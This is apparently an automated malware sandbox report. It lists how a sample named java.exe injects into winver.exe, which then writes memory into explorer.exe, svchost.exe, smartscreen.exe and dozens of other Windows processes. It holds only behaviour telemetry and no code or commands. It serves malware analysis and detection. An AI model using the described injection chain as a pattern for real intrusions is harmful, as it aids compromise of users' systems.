Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 29B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 54090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: EE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 74090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe EIP: 1C090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe EIP: 1C090B	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 1340000 value: 50			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 1370000 value: 50			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\java.exe	Memory written: C:\Windows\SysWOW64\winver.exe base: 3318B0	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 1340000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\sihost.exe base: AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 910000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ctfmon.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 1370000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: D40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 110000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 290000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 3D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 190000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\dllhost.exe base: 260000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 4D80000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\conhost.exe base: 880000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\conhost.exe base: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 890000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1530000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2770000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B80000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 8B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2EB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2D10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2B40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2E20000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CA0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: C40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1120000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 3070000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 14D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1610000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: CC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 660000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 14B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1010000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: D90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 930000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2360000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 970000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1050000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 7B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1020000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 9C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 850000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AA0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 20E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 680000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2870000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 5A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 12F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2280000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1040000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1240000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2380000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B80000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 7F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2DD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1200000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 28C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1220000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 28F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2820000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F20000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2D80000	Jump to behavior
